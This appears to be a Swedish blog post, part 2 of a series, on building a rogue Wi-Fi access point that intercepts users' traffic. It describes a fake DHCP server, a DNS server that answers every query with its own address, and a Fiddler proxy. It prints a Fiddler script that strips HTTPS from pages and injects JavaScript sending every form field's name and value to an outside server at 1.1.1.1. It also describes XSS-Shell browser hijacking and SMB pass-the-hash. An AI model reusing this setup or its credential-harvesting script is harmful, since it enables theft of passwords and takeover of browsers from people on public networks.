Vågar du lita på WLAN – Del 2
….Som sagt så var det bara att köra igång skapande processen eller kanske plockande processen för det är det det egentligen handlar om, att plocka ihop en massa olika verktyg till att kunna utföra något ordnat med ett visst resultat som följd.
Vi börjar med infrastrukturen som består av följande:
En dator, helst bärbar så att man kan vara mobil.
En virtuell maskin som hostar våra DHCP, Proxy och DNS-tjänster
Möjlighet till en internet anslutning via WLAN eller 3G
Ett extra WLAN-interface (pccard) för att hantera avlyssningen
Lite fantasi och mycket tid 🙂
Den virtuella maskinen blev installerad med W2K3 som genast blev av med sin servertjänst och funktionaliteten för netbios och som ersättning fick ett verktyg vid namn Sombi som agera smb server och erbjuder en mycket trevlig variant av passing the ms-chapv2 hash, återkommer om den senare.
Den virtuella maskinen agerar DHCP (W2K3 standard DHCP), HTTP Proxy (Fiddler) samt DNS (Netwox).
Inga konstigheter med DHCP:n den delar ut lite adresser och skickar alla till vår server för såväl DNS som default gateway.
DNS:en fixar vi genom att köra verktyget Netwox och detta för att vi på ett enkelt sätt vill skicka alla till vår server oavsett vad de tänker surfa/ansluta dig till. Med andra ord så är det en i allra högsta grad ond DNS som svarad helt sonika en och samma sak på alla frågor om IP, dvs. den virtuella maskinens IP adress.
För att kunna hantera webtrafiken på ett bra sätt och dessutom kunna plocka ut god bitarna från den så har jag valt att använda Fiddler som en transparent proxy. Fiddler är ett verktyg från MS R&D som kan användas för att felsöka HTTP-flöden och som dessutom går utmärkt att använda för att förändra saker och ting i ett HTTP-flödet. Man kan exempelvis skriva om alla headers i valfri riktning göra sök & ersätt på data och lite annat kul.
Fiddler erbjuder möjligheten att via C# skript komma åt det data som transporteras mellan klienten och servern mycket snyggt och bekvämt 😉 så jag fixade ett par funktioner som gör bl.a.
Konvertera alla HTTPS-länkar i en sida till HTTP inklusive ev. redirects i headers
Injicera ett java script i de sidor som användaren får så att man kan använda ett verktyg vid namn XSS-Shell för att fjärrstyra webbläsaren, man kan till exempel surfa via webbläsaren till exempelvis intranätet över ett VPN…
Injicera ett java script i de sidor som användaren får så att man får alla användarnamn och lösenord som matas i olika formulär då formulär data skickas med HTTPS, användaren skriver och texten loggas på vår server mycket snyggt.
Injicera lite HTML taggar för bilder som sätter igång en SMB-anslutning så att vi kan genomföra en passing the hash attack
Nedan följer ev kort version av dessa script
oSession.utilDecodeResponse();
var oBody = System.Text.Encoding.UTF8.GetString(oSession.responseBodyBytes);
var oRegEx = /<\/body[^>]*>/gi;
oBody = oBody.replace(oRegEx, “<img src=\”\” id=\”xxxx-yyyyy\” width=0 height=0></body>”);
var oRegEx = /<input/gi;
oBody = oBody.replace(oRegEx, “<input onchange=\”var o = document.getElementById(‘xxxx-yyyyy’); o.src = ‘http://1.1.1.1/’+this.name+’++++’+this.value;\” “);
oSession.utilSetResponseBody(oBody);
}
if (m_NoHTTPS && oSession.oResponse.headers.ExistsAndContains(“Content-Type”, “html”)){
oSession.utilDecodeResponse();
var oBody = System.Text.Encoding.UTF8.GetString(oSession.responseBodyBytes);
var oRegEx = /https/gi;
oBody = oBody.replace(oRegEx, “http”);
oSession.utilSetResponseBody(oBody);
}
—————————————————————————————
Ja, jag bifogar det kompletta fiddler skriptet i denna post, men lämnar inga garantier för vad den gör 😉
Vi fixar givetvis så att vi har internet access via WLAN 😉 eller 3G, man vill ju inte att “användaren” ska känna sig blåst på det nät han/hon har hamnat i och söka andra 🙁
Nu har vi all infrastruktur på plats och nästa steg är at få igång den själv konfigurerande “onda” accesspunkten
Fortsättningen följer…
Länkar till verktygen som nämns i denna post
Netwox: http://www.laurentconstantin.com/en/netw/netwox/
Fiddler: http://www.fiddlertool.com/fiddler/
Sombi: Not Published in Public Yet